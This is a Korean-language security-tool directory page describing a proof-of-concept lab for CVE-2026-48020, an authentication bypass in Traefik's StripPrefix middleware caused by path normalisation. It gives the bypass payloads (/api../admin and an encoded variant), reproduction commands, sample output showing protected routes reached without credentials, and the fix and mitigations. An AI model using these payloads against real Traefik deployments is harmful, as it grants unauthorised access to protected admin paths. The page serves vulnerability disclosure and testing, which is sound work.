Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
traefik-stripprefix-auth-bypass-cve-2026-48020-path-normalization — # CVE-2026-48020 개념 증명 실습 환경 Traefik의 StripPrefix 미들웨어에서 경로 정규화를 통한 치명적인 인증 우회(auth bypass)를 시연하는 개념 증명(PoC) 실습 환경입니다. Docker 기반 재현 환경과 검증 스크립트를 포함합니다. | Kitploit
도구/GitHubGitHub/hunt-benito/traefik-stripprefix-auth-bypass-cve-2026-48020-path-normalization
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationLabs & Practice
GitHubhunt-benito/traefik-stripprefix-auth-bypass-cve-2026-48020-path-normalization

traefik-stripprefix-auth-bypass-cve-2026-48020-path-normalization

# CVE-2026-48020 개념 증명 실습 환경 Traefik의 StripPrefix 미들웨어에서 경로 정규화를 통한 치명적인 인증 우회(auth bypass)를 시연하는 개념 증명(PoC) 실습 환경입니다. Docker 기반 재현 환경과 검증 스크립트를 포함합니다.

저장소 보기
2개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-48020 — Traefik StripPrefix 라우트 수준 인증 우회 (PoC)

CVE-2026-48020에 대한 자체 포함 개념 증명(PoC)입니다. 이는 라우팅 결정이 내려진 이후 경로 정규화가 발생하여 생기는, Traefik StripPrefix 미들웨어의 라우트 수준 인증/권한 부여 우회입니다.

GET /api../admin과 같은 요청은 라우팅 시점에 공개된 PathPrefix(\/api`)라우터를 통해 전달됩니다(따라서 보호된 라우터의basicAuth미들웨어는 절대 연결되지 않습니다). 그러나StripPrefix가 /api를 제거하고 Go의 req.URL.JoinPath()가 남은 /../admin을 정규화하면, 백엔드는 보호되어야 했던 경로인 /admin`을 수신하게 됩니다.

CVECVE-2026-48020
GHSAGHSA-xf64-8mw2-4gr2
CVSS 3.1 (NVD)10.0 심각 (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N)
영향 받는 버전Traefik <= v2.11.46, <= v3.6.17, <= v3.7.1
수정 버전v2.11.48, v3.6.19, v3.7.3

랩 구성

root@kitploit:~
client (poc.py)
   │  GET /api../admin        ← no credentials
   ▼
Traefik :18080   ──routing──▶ public-api router (PathPrefix /api)  + StripPrefix
                   (skips)   protected router  (PathPrefix /admin) + basicAuth
   │  after StripPrefix("/api"):  /../admin  ──JoinPath()──▶  /admin
   ▼
backend :9000   ──▶  200 { "secret": "ADMIN_SECRET_REACHED", "seen_path": "/admin" }

파일

파일용도
docker-compose.yml취약한 Traefik(v3.7.1) + Python 백엔드를 실행
dynamic.ymlTraefik 동적 구성: 공개 /api 스트립 라우트와 basicAuth 뒤에 있는 보호된 /admin,/internal 라우트
backend.py보호된 경로에 대해 비밀값을 반환하는 소형 백엔드
poc.py우회 페이로드를 전송하고 도달한 경로를 보고

재현

root@kitploit:~
docker compose up -d --wait          # start Traefik v3.7.1 + backend
python3 poc.py                        # run the bypass checks

취약한 Traefik에서의 예상 출력

root@kitploit:~
[*] Target: http://127.0.0.1:18080

  [blocked] direct protected (auth enforced)      /admin
          -> status=401  body=...
  [blocked] direct protected (auth enforced)      /internal/config
          -> status=401  body=...
  [safe  ] public strip + exclusion (safe)        /api/admin
          -> status=404  body=...
  [safe  ] public strip + exclusion (safe)        /api/internal/config
          -> status=404  body=...
  [!] BYPASS  literal ..                          /api../admin
          -> status=200  body={"secret": "ADMIN_SECRET_REACHED", "seen_path": "/admin", ...}
  [!] BYPASS  encoded %2e%2e                      /api%2e%2e/admin
          -> status=200  body={"secret": "ADMIN_SECRET_REACHED", "seen_path": "/admin", ...}
  ...
============================================================
[!] AUTH BYPASS CONFIRMED — protected paths reached without credentials via StripPrefix path normalisation.

패치된 Traefik(v3.7.3)에서

우회 페이로드는 200 대신 404를 반환합니다. 이 패치(Traefik PR #13215)는 StripPrefix/StripPrefixRegex 정규화 후 경로가 달라지는 모든 요청을 거부하므로 /../admin 재작성은 탐지되어 거부됩니다.

수정 사항 확인

root@kitploit:~
# patch the image tag in docker-compose.yml to a fixed version, e.g.:
sed -i 's/traefik:v3.7.1/traefik:v3.7.3/' docker-compose.yml
docker compose up -d --force-recreate
python3 poc.py        # bypass payloads now return 404 -> "No bypass observed"

완화 조치 (업그레이드하지 않고)

공개 라우트가 경로 순회 형태와 전혀 일치하지 않도록 하십시오:

root@kitploit:~
# Either anchor the prefix so it cannot be followed by '..'
rule: 'PathRegexp(`^/api(/|$)`) && ...'
# or use a trailing-slash prefix + a trailing-slash strip
PathPrefix(`/api/`)  +  StripPrefix(`/api/`)

공개

WonYun / kyun0(GitHub: H4ck2)이 Traefik 유지보수자에게 보고했으며 GHSA-xf64-8mw2-4gr2에서 수정되었습니다. 이 PoC 랩은 함께 제공되는 게시글을 위해 제작된 독립적인 재현입니다: https://www.hunt-benito.com/blog/traefik-stripprefix-auth-bypass-cve-2026-48020-path-normalization/.

도구 다운로드